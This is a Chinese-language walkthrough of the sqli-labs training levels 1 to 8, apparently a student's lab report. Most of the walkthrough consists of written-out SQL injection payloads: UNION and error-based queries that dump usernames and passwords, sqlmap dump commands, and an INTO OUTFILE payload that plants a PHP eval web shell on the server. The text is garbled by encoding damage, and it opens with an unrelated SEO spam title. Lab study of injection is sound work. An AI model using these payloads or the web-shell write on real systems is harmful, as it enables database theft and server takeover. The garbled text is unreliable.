鄭州富士康目前狀況關(guān)鍵詞推廣優(yōu)化排名如何
一、概述
SQL注入(SQL Injection)是發(fā)生在web程序中數(shù)據(jù)庫(kù)層的安全漏洞,是比較常用的網(wǎng)絡(luò)攻擊方式之一,它不是利用操作系統(tǒng)的BUG來(lái)實(shí)現(xiàn)攻擊,而是針對(duì)程序員編寫時(shí)的疏忽,通過(guò)SQL語(yǔ)句,實(shí)現(xiàn)無(wú)賬號(hào)登錄,甚至修改數(shù)據(jù)庫(kù),也就是說(shuō),SQL注入就是在愛(ài)用戶輸入的字符串中添加SQL語(yǔ)句,如果在設(shè)計(jì)不良的程序中忽略了檢查,那么這些注入進(jìn)去的SQL語(yǔ)句就會(huì)被數(shù)據(jù)庫(kù)服務(wù)器誤認(rèn)為是正常的SQL語(yǔ)句而運(yùn)行,攻擊者就可以執(zhí)行計(jì)劃外的命令或者訪問(wèn)未授權(quán)的數(shù)據(jù)。
二、SQL注入的危害
? (1)數(shù)據(jù)庫(kù)信息泄露:數(shù)據(jù)庫(kù)中存放的用戶的隱私信息的泄露;
? (2)網(wǎng)頁(yè)篡改:通過(guò)操作數(shù)據(jù)庫(kù)對(duì)特定網(wǎng)頁(yè)進(jìn)行篡改;
? (3)網(wǎng)站被掛馬,傳播惡意軟件:修改數(shù)據(jù)庫(kù)一些字段的值,嵌入網(wǎng)馬鏈接,進(jìn)行掛馬攻擊;
? (4)數(shù)據(jù)庫(kù)被惡意操作:數(shù)據(jù)庫(kù)服務(wù)器被攻擊,數(shù)據(jù)庫(kù)的系統(tǒng)管理員賬戶被篡改;
? (5)服務(wù)器被遠(yuǎn)程控制:被安裝后門,經(jīng)由數(shù)據(jù)庫(kù)服務(wù)提供的操作系統(tǒng)支持,讓黑客得以修改或控制操作系統(tǒng);
? (6)破壞硬盤數(shù)據(jù),癱瘓全系統(tǒng)。
三、SQL注入漏洞的原理
在動(dòng)態(tài)網(wǎng)站中,往往需要用戶傳遞參數(shù)到服務(wù)器,這些參數(shù)往往需要和數(shù)據(jù)庫(kù)進(jìn)行交互;當(dāng)服務(wù)端沒(méi)有對(duì)參數(shù)進(jìn)行安全過(guò)濾時(shí),攻擊者在參數(shù)中加入惡意的SQL語(yǔ)句結(jié)構(gòu),便編造成了SQL注入漏洞,被攻擊者利用來(lái)攻擊系統(tǒng)和網(wǎng)站。
攻擊者在提交請(qǐng)求時(shí)將SQL語(yǔ)句插入到請(qǐng)求內(nèi)容中,程序本身對(duì)用戶輸入內(nèi)容未經(jīng)處理,同時(shí)而未對(duì)惡意用戶插入的SQL語(yǔ)句進(jìn)行過(guò)濾,導(dǎo)致SQL語(yǔ)句直接被服務(wù)端執(zhí)行。
四、SQL注入關(guān)卡靶場(chǎng)介紹
在SQL注入漏洞中,注入類型分為三種:數(shù)字型、字符型、搜索型
1.數(shù)字型
在 Web 端中經(jīng)常能看到是例如http://xxx.com/news.php?id=1
這種形式,其注入點(diǎn) id 類型為數(shù)字,所以叫數(shù)字型注入點(diǎn)。
這一類的 SQL 語(yǔ)句結(jié)構(gòu)通常為 select * from news where id=1
,如果攻擊者將參數(shù)id的值改為1 or 1=1
,那么程序中拼接的sql語(yǔ)句則為:select * from news where id=1 or 1=1
,因此參數(shù)改變了原有的SQL語(yǔ)句結(jié)構(gòu),導(dǎo)致了SQL注入漏洞攻擊。
2.字符型
在 Web 端中也經(jīng)常能看到例如http://xxx.com/news.php?name=admin
這種形式的URL地址,其注入點(diǎn) name 類型為字符類型,所以叫字符型注入點(diǎn)。這一類的 SQL 語(yǔ)句結(jié)構(gòu)通常為
select * from 表名 where name='admin'
當(dāng)攻擊者在參數(shù)值admin
尾部加入攻擊代碼' or 1=1
,那么拼接出來(lái)的sql注入語(yǔ)句為:
select * from news where chr='admin' or 1=1 '
這樣SQL語(yǔ)句同樣也會(huì)被改變,當(dāng)然攻擊者也不僅僅使用這么簡(jiǎn)單的攻擊代碼,通常還會(huì)使用一些更加復(fù)雜的攻擊代碼,例如
admin' union select 1,2,3,4 or '1'='1
在程序中拼接SQL語(yǔ)句之后,則變成了
select * from news where chr='admin' union select 1,2,3,4 or '1'='1'
這樣就可以使用union結(jié)構(gòu)將攻擊者所感興趣的內(nèi)容返回回來(lái)
3.搜索型
很多時(shí)候我們會(huì)看到網(wǎng)站有個(gè)站內(nèi)搜索的功能,搜索功能往往需要和數(shù)據(jù)庫(kù)進(jìn)行交互,因此也會(huì)存在SQL注入漏洞風(fēng)險(xiǎn),搜索型SQL注入的特點(diǎn)是攻擊代碼中有兩個(gè)%
當(dāng)攻擊代碼為
%xxxx% or 1=1 #%'
所有的用戶都在下方展示了出來(lái),在命令行里我們可以這樣搜索:
?
五、攻擊實(shí)例
1.SQL-ONE
1.判斷是否存在sql注入,根據(jù)提示輸入數(shù)值的ID作為參數(shù),例如:?id=1? ?id=2? ?id=3
2.輸入數(shù)值不同返回的內(nèi)容也不同,可以判斷我們輸入的內(nèi)容事帶入到了數(shù)據(jù)庫(kù)中進(jìn)行查詢了。
3.判斷sql語(yǔ)句是否拼接,同時(shí)判斷是字符型還是數(shù)字型。
4.根據(jù)上述結(jié)果可以判定是字符型且存在sql注入漏洞。
5.聯(lián)合注入,第一步:知道表格有幾列,如果報(bào)錯(cuò)就是超過(guò)列數(shù),如果顯示正常就是沒(méi)有超過(guò)列數(shù)。
輸入代碼:?id=1'order by 3 --+
再次輸入代碼:?id=1'order by 4 --+
6.可以看到是第二列和第三列里面的數(shù)據(jù)是顯示在也頁(yè)面的
輸入代碼:?id=-1'union select 1,2,3--+
7.獲取當(dāng)前數(shù)據(jù)名和版本號(hào)
輸入代碼:?id=-1'union select 1,database(),version()--+
8.爆表,information_schema.tables表示該數(shù)據(jù)庫(kù)下的tables表,點(diǎn)表示下一級(jí)。where后面是條件,group_concat()是將查詢到結(jié)果連接起來(lái)。如果不用group_concat查詢到的只有user。該語(yǔ)句的意思是查詢information_schema數(shù)據(jù)庫(kù)下的tables表里面且table_schema字段內(nèi)容是security的所有table_name的內(nèi)容。
輸入代碼:?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
9.爆字段名,通過(guò)sql語(yǔ)句查詢知道當(dāng)前數(shù)據(jù)庫(kù)有四個(gè)表,根據(jù)表名可能知道賬號(hào)和密碼是在users表中
輸入代碼:?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
10.通過(guò)上述操作可以得到的兩個(gè)敏感字段是username和password
繼續(xù)輸入代碼:?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2.SQL-TWO
? ? ? ? 1.和第一關(guān)是一樣進(jìn)行判斷,當(dāng)我們輸入單引號(hào)或者雙引號(hào)可以看到報(bào)錯(cuò),且報(bào)錯(cuò)信息看不到數(shù)字,所有我們可以猜測(cè)sql語(yǔ)句應(yīng)該是數(shù)字型注入。
? ? ? ? 2.order by猜解字段????????
可以看到order by 3 時(shí)顯示正常,order by 4時(shí)顯示異常,說(shuō)明有3個(gè)可顯示字段。
????????3.查找數(shù)據(jù)庫(kù)名稱和版本號(hào):?id=-1 union select 1,database(),version()
????????4.查找表名:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
????????5.查詢列名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
????????6.顯示用戶名和密碼:?id=-1 union select 1,2,group_concat(username ,id , password) from users
3.SQL-THREE
????????1.判斷是否存在注入點(diǎn)
?id=1’) and 1=1 --+
?id=1’) and 1=2 --+
????????2.判斷字段數(shù)
?id=1 order by 3 --+
?id=1 order by 4 --+
????????3.判斷回顯點(diǎn)
?id=15') union select 1,2,3 --+
????????4.查詢相關(guān)內(nèi)容,如數(shù)據(jù)庫(kù)名、表名、列名
數(shù)據(jù)庫(kù)名
?id=15')union select 1,database(),3 --+
表名
?id=15')union select 1,table_name,3 from
information_schema.tables where table_schema='security' limit 0,1 --+
列名
?id=15')union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+
賬號(hào)密碼:?id=0') union select 1,username,password from users limit 1,1 --+
4.SQL-FOUR
????????1.判斷是否存在注入點(diǎn)
?id=1”) and 1=1 --+
?id=1”) and 1=2 --+
????????2.判斷字段數(shù)
?id=1”)order by 3 --+
?id=1”)order by 4 --+
????????3.判斷回顯點(diǎn)
?id=15”) union select 1,2,3 --+
????????4.查詢相關(guān)內(nèi)容,如數(shù)據(jù)庫(kù)名、表名、列名
數(shù)據(jù)庫(kù)名:
?id=15”)union select 1,database(),3 --+
表名:
?id=-1") union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+
列名:
?id=15")union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+
賬號(hào)密碼:?id=15")union select 1,username,password from users limit 0,1 --+
5.SQL-Five
????????1.判斷注入類型
Sql屬于字符型注入
此關(guān)手動(dòng)注入傾向于用基于報(bào)錯(cuò)的SQL盲注
????????2.判斷注入點(diǎn)
單引號(hào)閉合
·????????3.聯(lián)合注入,判斷字段數(shù)
字段數(shù)為1,2,3
????????4.爆出顯錯(cuò)位
無(wú)顯錯(cuò)位,故可使用盲注,本關(guān)使用基于報(bào)錯(cuò)的SQL盲注
????????5.Updatexml注入
爆庫(kù)名
?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- +
得到當(dāng)前庫(kù)名為security
爆表名
?id=1' and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)-- +
得到當(dāng)前表名有emails,referers,uagents,user
爆列名
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),0x7e),1)-- +
得到users表的所有列名為id,username,password
爆字段號(hào)
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)-- +
獲得用戶表的賬號(hào)為Dumb,密碼為Dumb
6.SQL-Six
1、判斷注入類型
Sql屬于字符型注入
2、判斷注入點(diǎn)
雙引號(hào)閉合
3、聯(lián)合注入,判斷字段數(shù)
字段數(shù)為1,2,3
4、爆出顯錯(cuò)位
無(wú)顯錯(cuò)位,故可使用盲注,本關(guān)使用基于報(bào)錯(cuò)的SQL盲注
5、雙查詢注入
爆庫(kù)名
?id=1" union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a-- +
得到當(dāng)前庫(kù)名為security
爆表名
?id=1" union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+
得到當(dāng)前表名有emails,referers,uagents,user
爆列名
?id=1" union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.columns group by a -- +得到user表的所有列名為USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level
爆字段號(hào)
?id=1" union select 1,count(*),concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2)) as a from emails group by a --+
獲得用戶表的賬號(hào)為Dumb,密碼為Dumb
7.SQL-SEVEN
? 當(dāng)在輸入id=1,頁(yè)面顯示you are in... 當(dāng)我們輸入id=1'時(shí)顯示報(bào)錯(cuò),但是沒(méi)有報(bào)錯(cuò)信息,這和我們之前的關(guān)卡不一樣,之前都有報(bào)錯(cuò)信息。當(dāng)我們輸入id=1"時(shí)顯示正常所以我們可以斷定參數(shù)id時(shí)單引號(hào)字符串。因?yàn)閱我?hào)破壞了他原有語(yǔ)法結(jié)構(gòu)。然后我輸入id=1'--+時(shí)報(bào)錯(cuò),這時(shí)候我們可以輸入id=1')--+發(fā)現(xiàn)依然報(bào)錯(cuò),之時(shí)我試試是不是雙括號(hào)輸入id=1'))--+,發(fā)現(xiàn)頁(yè)面顯示正常。那么它的過(guò)關(guān)手法和前面就一樣了選擇布爾盲注就可以了。
????????1.判斷是否存在注入
當(dāng)輸入?id=1時(shí)
當(dāng)輸入?id=1’時(shí)回顯錯(cuò)誤 初步判斷為字符型注入
接下來(lái)我們測(cè)試 ?id=1' 是否是注入點(diǎn)(利用 or 1=1? 或者 and 1=1等方法):
發(fā)現(xiàn)報(bào)錯(cuò),那么接下來(lái)?分析是否存在括號(hào)及其個(gè)數(shù),依次增加括號(hào)個(gè)數(shù),直到回顯正常
由此可推斷出,這是帶雙括號(hào)的單引號(hào)注入
1、先導(dǎo)出文件
導(dǎo)出文件就是可以向服務(wù)器寫入文件,但是利用的時(shí)候要知道數(shù)據(jù)庫(kù),網(wǎng)站的路徑
2、讀寫權(quán)限測(cè)試:?id=1')) and (select count(*) from mysql.user)>0 --+ 返回正常則有權(quán)限讀寫
3、利用into outfile進(jìn)行演示:?id=-1')) union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test1.txt"--+
在瀏覽器或后臺(tái)中生成test.txt文件
導(dǎo)入到文件:?id=1')) union select 1,2,'<?php @eval($_POST["111111"])?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php" --+
中國(guó)蟻劍鏈接
8.SQL-EIGHT
1、分別輸入?Id=1 ?Id=1’ ?Id=1”
根據(jù)題目提示可知這是單引號(hào)注入且需要通過(guò)盲注進(jìn)行通關(guān)
那么首先利用單引號(hào)看一下網(wǎng)頁(yè)的回顯:
用?id=1’ or1=1--+測(cè)試是不是注入點(diǎn)
利用布爾盲注進(jìn)行數(shù)據(jù)庫(kù)信息。
利用 left(version(),1)進(jìn)行嘗試,查看一下 version(),當(dāng)前環(huán)境數(shù)據(jù)庫(kù)的版本號(hào)為 5.5.47? 這里的語(yǔ)句的意思是看版本號(hào)的第一位是不是 5,明顯的返回的結(jié)果是正確的。
?id=1' and length(database())=8 --+
查看數(shù)據(jù)庫(kù)的長(zhǎng)度,長(zhǎng)度為 8 時(shí),正確回顯,說(shuō)明長(zhǎng)度為 8.(知道了數(shù)據(jù)庫(kù)長(zhǎng)度可大大減少我們猜數(shù)據(jù)庫(kù)名的時(shí)間)
?id=1' and left(database(),1)>'s' --+
依次可推出security
2、在sqlmap中輸入:python sqlmap.py -uhttp://127.0.0.1/sqli-labs-master/Less-8/?id=1?--dbs?-batch ,得到數(shù)據(jù)庫(kù)名為security。
在sqlmap中輸入python?sqlmap.py?-u?http://127.0.0.1/sqli-labs-master/Less-8/?id=1--current-db?-batch? 得到數(shù)據(jù)庫(kù)中的表
獲取數(shù)據(jù)庫(kù)中的列輸入:python? sqlmap.py?-u?http://127.0.0.1/sqli-labs-master/Less-8/?id=1-D?security?-T?users?--columns?-batch
獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)python? sqlmap.py?-uhttp://127.0.0.1/sqli-labs-master/Less-8/?id=1?-D?security?-T?users?-C?username--dump?-batch
六、總結(jié)
通過(guò)此次對(duì)sqil關(guān)卡的通關(guān),我了解到sql注入本質(zhì)上來(lái)說(shuō)就是拼接字符,通過(guò)輸入額外的信息破壞外后端腳本原有的查詢語(yǔ)句結(jié)構(gòu),從而達(dá)成注入的目的。在SQLI中,按照注入?yún)?shù)類別分為字符型注入、數(shù)字型注入、GET型注入、URL注入、請(qǐng)求頭注入、POST注入、有回顯的注入、聯(lián)合查詢注入等。在通關(guān)時(shí),應(yīng)判斷閉合符,列數(shù),然后開(kāi)始查詢數(shù)據(jù)庫(kù)名,查表名,查列名,最后查數(shù)據(jù)得到用戶名和密碼。其中我對(duì)于盲注有進(jìn)行部分深入了解,盲注分為布爾盲注和時(shí)間盲注,對(duì)于盲注常用報(bào)錯(cuò)注入方式進(jìn)行破解,常見(jiàn)的報(bào)錯(cuò)注入有雙查詢報(bào)錯(cuò)注入、exp函數(shù)報(bào)錯(cuò)注入、updatexml函數(shù)報(bào)錯(cuò)注入、extractvalue函數(shù)報(bào)錯(cuò)注入,join語(yǔ)句報(bào)錯(cuò)注入等等,當(dāng)然還有一些報(bào)錯(cuò)注入,不過(guò)不常用。當(dāng)然,除了盲注外還有其他的注入,如二階注入、堆疊注入、長(zhǎng)字符串截?cái)嘧⑷?、無(wú)回顯的注入等等??偟膩?lái)說(shuō),sql注入存在的原因就是計(jì)算機(jī)對(duì)代碼部分與數(shù)據(jù)部分區(qū)分錯(cuò)誤導(dǎo)致的。
對(duì)于SQL注入的預(yù)防措施,如過(guò)濾輸入內(nèi)容,校驗(yàn)字符串、參數(shù)化查詢,也就是綁定變量,使用預(yù)編譯查詢、采用安全測(cè)試,安全審計(jì),如避免使用動(dòng)態(tài)SQL,不要將敏感數(shù)據(jù)保留在純文本中,限制數(shù)據(jù)庫(kù)的權(quán)限和特權(quán)以及避免直接向用戶顯示數(shù)據(jù)庫(kù)錯(cuò)誤